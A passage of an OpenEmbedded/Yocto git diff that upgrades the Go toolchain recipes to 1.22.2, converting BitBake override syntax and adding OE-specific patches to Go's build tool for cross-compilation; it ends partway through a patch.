-SRC_URI[bootstrap.md5sum] = "dbf727a4b0e365bf88d97cbfde590016"
-SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
-
-export GOOS = "${BUILD_GOOS}"
-export GOARCH = "${BUILD_GOARCH}"
-CC = "${@d.getVar('BUILD_CC').strip()}"
-
-GOMAKEARGS ?= "--no-banner"
-
-do_configure() {
- cd ${WORKDIR}/go1.4/go/src
- CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
-}
-
-do_compile() {
- export GOROOT_FINAL="${libdir_native}/go"
- export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
-
- cd src
- ./make.bash ${GOMAKEARGS}
- cd ${B}
-}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin"
-do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
-
-make_wrapper() {
- rm -f ${D}${bindir}/$2$3
- cat <<END >${D}${bindir}/$2$3
-#!/bin/bash
-here=\`dirname \$0\`
-export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
-\$here/../lib/go/bin/$1 "\$@"
-END
- chmod +x ${D}${bindir}/$2
-}
-
-do_install() {
- install -d ${D}${libdir}/go
- cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
- install -d ${D}${libdir}/go/src
- (cd ${S}/src; for d in *; do \
- [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
- done)
- find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
- install -d ${D}${bindir} ${D}${libdir}/go/bin
- for f in ${B}/bin/*
- do
- base=`basename $f`
- install -m755 $f ${D}${libdir}/go/bin
- make_wrapper $base $base
- done
-}
diff --git a/meta/recipes-devtools/go/go-native_1.22.2.bb b/meta/recipes-devtools/go/go-native_1.22.2.bb
new file mode 100644
index 0000000000..ddf25b2c9b
--- /dev/null
+++ b/meta/recipes-devtools/go/go-native_1.22.2.bb
@@ -0,0 +1,58 @@
+# This recipe builds a native Go (written in Go) by first building an old Go 1.4
+# (written in C). However this old Go does not support all hosts platforms.
+
+require go-${PV}.inc
+
+inherit native
+
+SRC_URI += "https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
+SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
+
+export GOOS = "${BUILD_GOOS}"
+export GOARCH = "${BUILD_GOARCH}"
+CC = "${@d.getVar('BUILD_CC').strip()}"
+
+GOMAKEARGS ?= "--no-banner"
+
+do_configure() {
+ cd ${WORKDIR}/go1.4/go/src
+ CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
+}
+
+do_compile() {
+ export GOROOT_FINAL="${libdir_native}/go"
+ export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
+
+ cd src
+ ./make.bash ${GOMAKEARGS}
+ cd ${B}
+}
+do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$2$3
+ cat <<END >${D}${bindir}/$2$3
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$2
+}
+
+do_install() {
+ install -d ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
+ install -d ${D}${libdir}/go/src
+ (cd ${S}/src; for d in *; do \
+ [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
+ done)
+ find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
+ install -d ${D}${bindir} ${D}${libdir}/go/bin
+ for f in ${B}/bin/*
+ do
+ base=`basename $f`
+ install -m755 $f ${D}${libdir}/go/bin
+ make_wrapper $base $base
+ done
+}
diff --git a/meta/recipes-devtools/go/go-runtime.inc b/meta/recipes-devtools/go/go-runtime.inc
index 21179a83a0..3f1e795dd9 100644
--- a/meta/recipes-devtools/go/go-runtime.inc
+++ b/meta/recipes-devtools/go/go-runtime.inc
@@ -1,11 +1,17 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go"
PROVIDES = "virtual/${TARGET_PREFIX}go-runtime"
+DEBUG_PREFIX_MAP = "\
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+"
+
export CGO_CFLAGS = "${CFLAGS}"
export CGO_CPPFLAGS = "${CPPFLAGS}"
export CGO_CXXFLAGS = "${CXXFLAGS}"
-export CGO_LDFLAGS = "${LDFLAGS}"
+# Filter out -fdebug-prefix-map options as they clash with the GO's build system
+export CGO_LDFLAGS = "${@ ' '.join(filter(lambda f: not f.startswith('-fdebug-prefix-map'), d.getVar('LDFLAGS').split())) }"
export GOCACHE = "${B}/.cache"
GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${LDFLAGS}"
@@ -15,7 +21,7 @@ do_configure() {
:
}
-do_configure_libc-musl() {
+do_configure:libc-musl() {
rm -f ${S}/src/runtime/race/*.syso
}
@@ -32,7 +38,6 @@ do_compile() {
fi
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_install() {
@@ -45,6 +50,8 @@ do_install() {
rm -rf ${D}${libdir}/go/pkg/tool
rm -rf ${D}${libdir}/go/pkg/obj
rm -rf ${D}${libdir}/go/pkg/bootstrap
+ # the cmd directory is built for the native arch so if BUILD == TARGET
+ rm -rf ${D}${libdir}/go/pkg/${BUILD_GOTUPLE}/cmd
find src -mindepth 1 -maxdepth 1 -type d | while read srcdir; do
cp --preserve=mode,timestamps -R $srcdir ${D}${libdir}/go/src/
done
@@ -55,9 +62,9 @@ do_install() {
}
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
-FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
+FILES:${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*.shlibname \
@@ -73,12 +80,12 @@ FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*.a \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*/*.a \
"
-FILES_${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
+FILES:${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
# Go sources include some scripts and pre-built binaries for
# multiple architectures. The static .a files for dynamically-linked
# runtime are also required in -dev.
-INSANE_SKIP_${PN}-dev = "staticdev file-rdeps arch"
+INSANE_SKIP:${PN}-dev = "staticdev file-rdeps arch"
INHIBIT_PACKAGE_STRIP = "1"
INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-devtools/go/go-runtime_1.14.bb b/meta/recipes-devtools/go/go-runtime_1.14.bb
deleted file mode 100644
index 4eeee65e0c..0000000000
--- a/meta/recipes-devtools/go/go-runtime_1.14.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-export CGO_ENABLED_riscv64 = ""
-require go-${PV}.inc
-require go-runtime.inc
diff --git a/meta/recipes-devtools/go/go-runtime_1.22.2.bb b/meta/recipes-devtools/go/go-runtime_1.22.2.bb
new file mode 100644
index 0000000000..63464a1501
--- /dev/null
+++ b/meta/recipes-devtools/go/go-runtime_1.22.2.bb
@@ -0,0 +1,3 @@
+require go-${PV}.inc
+require go-runtime.inc
+
diff --git a/meta/recipes-devtools/go/go-target.inc b/meta/recipes-devtools/go/go-target.inc
index 8e44247031..981c7abd31 100644
--- a/meta/recipes-devtools/go/go-target.inc
+++ b/meta/recipes-devtools/go/go-target.inc
@@ -1,12 +1,21 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk go-native"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go go-native"
-export GOCACHE = "${B}/.cache"
-GO_LDFLAGS = ""
-GO_LDFLAGS_class-nativesdk = "-linkmode external"
-export GO_LDFLAGS
+DEBUG_PREFIX_MAP = "\
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+"
+
+export CGO_CFLAGS = "${CFLAGS}"
+export CGO_CPPFLAGS = "${CPPFLAGS}"
+export CGO_CXXFLAGS = "${CXXFLAGS}"
+# Filter out -fdebug-prefix-map options as they clash with the GO's build system
+export CGO_LDFLAGS = "${@ ' '.join(filter(lambda f: not f.startswith('-fdebug-prefix-map'), d.getVar('LDFLAGS').split())) }"
-CC_append_class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
+export GOCACHE = "${B}/.cache"
+export GO_LDFLAGS = ""
+export GOBUILDFLAGS = "-gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -trimpath"
+CC:append:class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
do_configure[noexec] = "1"
@@ -18,7 +27,6 @@ do_compile() {
./make.bash --target-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_install() {
@@ -38,8 +46,8 @@ do_install() {
}
PACKAGES = "${PN} ${PN}-dev"
-FILES_${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
-RDEPENDS_${PN} = "go-runtime"
-INSANE_SKIP_${PN} = "ldflags"
+FILES:${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
+RDEPENDS:${PN} = "go-runtime"
+INSANE_SKIP:${PN} = "ldflags"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/go/go/0001-cmd-go-make-content-based-hash-generation-less-pedan.patch b/meta/recipes-devtools/go/go/0001-cmd-go-make-content-based-hash-generation-less-pedan.patch
new file mode 100644
index 0000000000..564837c7cd
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0001-cmd-go-make-content-based-hash-generation-less-pedan.patch
@@ -0,0 +1,168 @@
+From 9a6c5040cbcd88b10ceb8ceaebc8d6158c086670 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 28 Mar 2022 10:59:03 -0700
+Subject: [PATCH 1/9] cmd/go: make content-based hash generation less pedantic
+
+Go 1.10's build tool now uses content-based hashes to
+determine when something should be built or re-built.
+This same mechanism is used to maintain a built-artifact
+cache for speeding up builds.
+
+However, the hashes it generates include information that
+doesn't work well with OE, nor with using a shared runtime
+library.
+
+First, it embeds path names to source files, unless
+building within GOROOT. This prevents the building
+of a package in GOPATH for later staging into GOROOT.
+
+This patch adds support for the environment variable
+GOPATH_OMIT_IN_ACTIONID. If present, path name
+embedding is disabled.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alex Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Matt Madison <matt@madison.systems>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/go/internal/envcmd/env.go | 2 +-
+ src/cmd/go/internal/work/exec.go | 44 ++++++++++++++++++++++++-------
+ 2 files changed, 36 insertions(+), 10 deletions(-)
+
+diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
+index c7c2e83e0f..4a90d9da5c 100644
+--- a/src/cmd/go/internal/envcmd/env.go
++++ b/src/cmd/go/internal/envcmd/env.go
+@@ -189,7 +189,7 @@ func ExtraEnvVarsCostly() []cfg.EnvVar {
+ }
+ }()
+
+- cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{})
++ cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{}, false)
+ if err != nil {
+ // Should not happen - b.CFlags was given an empty package.
+ fmt.Fprintf(os.Stderr, "go: invalid cflags: %v\n", err)
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index e05471b06c..9724cd07d0 100644
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -232,6 +232,8 @@ func (b *Builder) Do(ctx context.Context, root *Action) {
+ writeActionGraph()
+ }
+
++var omitGopath = os.Getenv("GOPATH_OMIT_IN_ACTIONID") != ""
++
+ // buildActionID computes the action ID for a build action.
+ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ p := a.Package
+@@ -253,7 +255,7 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ if p.Module != nil {
+ fmt.Fprintf(h, "module %s@%s\n", p.Module.Path, p.Module.Version)
+ }
+- } else if p.Goroot {
++ } else if p.Goroot || omitGopath {
+ // The Go compiler always hides the exact value of $GOROOT
+ // when building things in GOROOT.
+ //
+@@ -285,9 +287,9 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ }
+ if len(p.CgoFiles)+len(p.SwigFiles)+len(p.SwigCXXFiles) > 0 {
+ fmt.Fprintf(h, "cgo %q\n", b.toolID("cgo"))
+- cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p)
++ cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p, true)
+
+- ccExe := b.ccExe()
++ ccExe := filterCompilerFlags(b.ccExe(), true)
+ fmt.Fprintf(h, "CC=%q %q %q %q\n", ccExe, cppflags, cflags, ldflags)
+ // Include the C compiler tool ID so that if the C
+ // compiler changes we rebuild the package.
+@@ -295,14 +297,14 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ fmt.Fprintf(h, "CC ID=%q\n", ccID)
+ }
+ if len(p.CXXFiles)+len(p.SwigCXXFiles) > 0 {
+- cxxExe := b.cxxExe()
++ cxxExe := filterCompilerFlags(b.cxxExe(), true)
+ fmt.Fprintf(h, "CXX=%q %q\n", cxxExe, cxxflags)
+ if cxxID, _, err := b.gccToolID(cxxExe[0], "c++"); err == nil {
+ fmt.Fprintf(h, "CXX ID=%q\n", cxxID)
+ }
+ }
+ if len(p.FFiles) > 0 {
+- fcExe := b.fcExe()
++ fcExe := filterCompilerFlags(b.fcExe(), true)
+ fmt.Fprintf(h, "FC=%q %q\n", fcExe, fflags)
+ if fcID, _, err := b.gccToolID(fcExe[0], "f95"); err == nil {
+ fmt.Fprintf(h, "FC ID=%q\n", fcID)
+@@ -319,7 +321,7 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ }
+ }
+ if p.Internal.BuildInfo != nil {
+- fmt.Fprintf(h, "modinfo %q\n", p.Internal.BuildInfo.String())
++ //fmt.Fprintf(h, "modinfo %q\n", p.Internal.BuildInfo.String())
+ }
+
+ // Configuration specific to compiler toolchain.
+@@ -2679,8 +2681,25 @@ func envList(key, def string) []string {
+ return args
+ }
+
++var filterFlags = os.Getenv("CGO_PEDANTIC") == ""
++
++func filterCompilerFlags(flags []string, keepfirst bool) []string {
++ var newflags []string
++ var realkeepfirst bool = keepfirst
++ if !filterFlags {
++ return flags
++ }
++ for _, flag := range flags {
++ if strings.HasPrefix(flag, "-m") || realkeepfirst {
++ newflags = append(newflags, flag)
++ realkeepfirst = false
++ }
++ }
++ return newflags
++}
++
+ // CFlags returns the flags to use when invoking the C, C++ or Fortran compilers, or cgo.
+-func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
++func (b *Builder) CFlags(p *load.Package, filtered bool) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
+ if cppflags, err = buildFlags("CPPFLAGS", "", p.CgoCPPFLAGS, checkCompilerFlags); err != nil {
+ return
+ }
+@@ -2696,6 +2715,13 @@ func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, l
+ if ldflags, err = buildFlags("LDFLAGS", defaultCFlags, p.CgoLDFLAGS, checkLinkerFlags); err != nil {
+ return
+ }
++ if filtered {
++ cppflags = filterCompilerFlags(cppflags, false)
++ cflags = filterCompilerFlags(cflags, false)
++ cxxflags = filterCompilerFlags(cxxflags, false)
++ fflags = filterCompilerFlags(fflags, false)
++ ldflags = filterCompilerFlags(ldflags, false)
++ }
+
+ return
+ }
+@@ -2713,7 +2739,7 @@ func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgo
+ p := a.Package
+ sh := b.Shell(a)
+
+- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p)
++ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p, false)
+ if err != nil {
+ return nil, nil, err
+ }
+@@ -3268,7 +3294,7 @@ func (b *Builder) swigOne(a *Action, file, objdir string, pcCFLAGS []string, cxx
+ p := a.Package
+ sh := b.Shell(a)
+
+- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p)
++ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p, false)
+ if err != nil {
+ return "", "", err
+ }
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0002-cmd-go-Allow-GOTOOLDIR-to-be-overridden-in-the-envir.patch b/meta/recipes-devtools/go/go/0002-cmd-go-Allow-GOTOOLDIR-to-be-overridden-in-the-envir.patch
new file mode 100644
index 0000000000..001c94a4e7
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0002-cmd-go-Allow-GOTOOLDIR-to-be-overridden-in-the-envir.patch
@@ -0,0 +1,56 @@
+From e3f9a8a69d3a340c1a1d0bba566e71f20f635a43 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:15:37 +0430
+Subject: [PATCH 2/9] cmd/go: Allow GOTOOLDIR to be overridden in the
+ environment
+
+to allow for split host/target build roots
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/dist/build.go | 4 +++-
+ src/cmd/go/internal/cfg/cfg.go | 6 +++++-
+ 2 files changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index 32e59b446a..06ee4de8a9 100644
+--- a/src/cmd/dist/build.go
++++ b/src/cmd/dist/build.go
+@@ -259,7 +259,9 @@ func xinit() {
+ }
+ xatexit(rmworkdir)
+
+- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
++ if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
++ tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
++ }
+
+ goversion := findgoversion()
+ isRelease = strings.HasPrefix(goversion, "release.") || strings.HasPrefix(goversion, "go")
+diff --git a/src/cmd/go/internal/cfg/cfg.go b/src/cmd/go/internal/cfg/cfg.go
+index a8daa2dfc3..393ada39c9 100644
+--- a/src/cmd/go/internal/cfg/cfg.go
++++ b/src/cmd/go/internal/cfg/cfg.go
+@@ -230,7 +230,11 @@ func SetGOROOT(goroot string, isTestGo bool) {
+ // This matches the initialization of ToolDir in go/build, except for
+ // using ctxt.GOROOT and the installed GOOS and GOARCH rather than the
+ // GOROOT, GOOS, and GOARCH reported by the runtime package.
+- build.ToolDir = filepath.Join(GOROOTpkg, "tool", installedGOOS+"_"+installedGOARCH)
++ if s := os.Getenv("GOTOOLDIR"); s != "" {
++ build.ToolDir = filepath.Clean(s)
++ } else {
++ build.ToolDir = filepath.Join(GOROOTpkg, "tool", installedGOOS+"_"+installedGOARCH)
++ }
+ }
+ }
+ }
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0003-ld-add-soname-to-shareable-objects.patch b/meta/recipes-devtools/go/go/0003-ld-add-soname-to-shareable-objects.patch
new file mode 100644
index 0000000000..9cab2969c8
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0003-ld-add-soname-to-shareable-objects.patch
@@ -0,0 +1,51 @@
+From 7dde77b3ce8138314dd2736604b1b110dbcc0ac1 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:16:32 +0430
+Subject: [PATCH 3/9] ld: add soname to shareable objects
+
+so that OE's shared library dependency handling
+can find them.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/link/internal/ld/lib.go | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/src/cmd/link/internal/ld/lib.go b/src/cmd/link/internal/ld/lib.go
+index eab74dc328..ae9bbc9093 100644
+--- a/src/cmd/link/internal/ld/lib.go
++++ b/src/cmd/link/internal/ld/lib.go
+@@ -1576,6 +1576,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ if ctxt.HeadType == objabi.Hwindows {
+ argv = addASLRargs(argv, *flagAslr)
+ } else {
+@@ -1591,6 +1592,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ case BuildModePlugin:
+ if ctxt.HeadType == objabi.Hdarwin {
+ argv = append(argv, "-dynamiclib")
+@@ -1599,6 +1601,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ }
+ }
+
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0004-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go/0004-make.bash-override-CC-when-building-dist-and-go_boot.patch
new file mode 100644
index 0000000000..8889aef1cf
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0004-make.bash-override-CC-when-building-dist-and-go_boot.patch
@@ -0,0 +1,45 @@
+From 9f59e46991074d3e3c4d00f3971e62bfcd707167 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:17:16 +0430
+Subject: [PATCH 4/9] make.bash: override CC when building dist and
+ go_bootstrap
+
+for handling OE cross-canadian builds.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/make.bash | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/make.bash b/src/make.bash
+index 76ad51624a..074e129a24 100755
+--- a/src/make.bash
++++ b/src/make.bash
+@@ -198,7 +198,7 @@ if [[ "$GOROOT_BOOTSTRAP" == "$GOROOT" ]]; then
+ exit 1
+ fi
+ rm -f cmd/dist/dist
+-GOROOT="$GOROOT_BOOTSTRAP" nogoenv "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
++CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" nogoenv "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
+
+ # -e doesn't propagate out of eval, so check success by hand.
+ eval $(./cmd/dist/dist env -p || echo FAIL=true)
+@@ -223,7 +223,7 @@ fi
+ # Run dist bootstrap to complete make.bash.
+ # Bootstrap installs a proper cmd/dist, built with the new toolchain.
+ # Throw ours, built with the bootstrap toolchain, away after bootstrap.
+-./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
++CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
+ rm -f ./cmd/dist/dist
+
+ # DO NOT ADD ANY NEW CODE HERE.
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0005-cmd-dist-separate-host-and-target-builds.patch b/meta/recipes-devtools/go/go/0005-cmd-dist-separate-host-and-target-builds.patch
new file mode 100644
index 0000000000..364fce907a
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0005-cmd-dist-separate-host-and-target-builds.patch
@@ -0,0 +1,221 @@
+From 6dda78d528e60993a4688cd9d49440a726378ac8 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:18:12 +0430
+Subject: [PATCH 5/9] cmd/dist: separate host and target builds
+
+Change the dist tool to allow for OE-style cross-
+and cross-canadian builds:
+
+ - command flags --host-only and --target only are added;
+ if one is present, the other changes mentioned below
+ take effect, and arguments may also be specified on
+ the command line to enumerate the package(s) to be
+ built.
+
+ - for OE cross builds, go_bootstrap is always built for
+ the current build host, and is moved, along with the supporting
+ toolchain (asm, compile, etc.) to a separate 'native_native'
+ directory under GOROOT/pkg/tool.
+
+ - go_bootstrap is not automatically removed after the build,
+ so it can be reused later (e.g., building both static and
+ shared runtime).
+
+Note that for --host-only builds, it would be nice to specify
+just the "cmd" package to build only the go commands/tools,
+the staleness checks in the dist tool will fail if the "std"
+library has not also been built. So host-only builds have to
+build everything anyway.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Rework the patch to avoid identation, it breaks formatting rules but
+makes the changes more obvious and maintainable.
+Jose Quaresma <jose.quaresma@foundries.io>
+Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/dist/build.go | 76 ++++++++++++++++++++++++++++++++++++++++++-
+ 1 file changed, 75 insertions(+), 1 deletion(-)
+
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index 06ee4de8a9..74b7c7098f 100644
+--- a/src/cmd/dist/build.go
++++ b/src/cmd/dist/build.go
+@@ -46,6 +46,7 @@ var (
+ goexperiment string
+ workdir string
+ tooldir string
++ build_tooldir string
+ oldgoos string
+ oldgoarch string
+ oldgocache string
+@@ -58,6 +59,7 @@ var (
+ rebuildall bool
+ noOpt bool
+ isRelease bool
++ crossBuild bool
+
+ vflag int // verbosity
+ )
+@@ -265,6 +267,8 @@ func xinit() {
+
+ goversion := findgoversion()
+ isRelease = strings.HasPrefix(goversion, "release.") || strings.HasPrefix(goversion, "go")
++
++ build_tooldir = pathf("%s/pkg/tool/native_native", goroot)
+ }
+
+ // compilerEnv returns a map from "goos/goarch" to the
+@@ -499,8 +503,10 @@ func setup() {
+ goosGoarch := pathf("%s/pkg/%s_%s", goroot, gohostos, gohostarch)
+ if rebuildall {
+ xremoveall(goosGoarch)
++ xremoveall(build_tooldir)
+ }
+ xmkdirall(goosGoarch)
++ xmkdirall(build_tooldir)
+ xatexit(func() {
+ if files := xreaddir(goosGoarch); len(files) == 0 {
+ xremove(goosGoarch)
+@@ -1338,14 +1344,20 @@ func cmdbootstrap() {
+ defer timelog("end", "dist bootstrap")
+
+ var debug, distpack, force, noBanner, noClean bool
++ var hostOnly bool
++ var targetOnly bool
++ var toBuild = []string{"std", "cmd"}
++
+ flag.BoolVar(&rebuildall, "a", rebuildall, "rebuild all")
+ flag.BoolVar(&debug, "d", debug, "enable debugging of bootstrap process")
+ flag.BoolVar(&distpack, "distpack", distpack, "write distribution files to pkg/distpack")
+ flag.BoolVar(&force, "force", force, "build even if the port is marked as broken")
+ flag.BoolVar(&noBanner, "no-banner", noBanner, "do not print banner")
+ flag.BoolVar(&noClean, "no-clean", noClean, "print deprecation warning")
++ flag.BoolVar(&hostOnly, "host-only", hostOnly, "build only host binaries, not target")
++ flag.BoolVar(&targetOnly, "target-only", targetOnly, "build only target binaries, not host")
+
+- xflagparse(0)
++ xflagparse(-1)
+
+ if noClean {
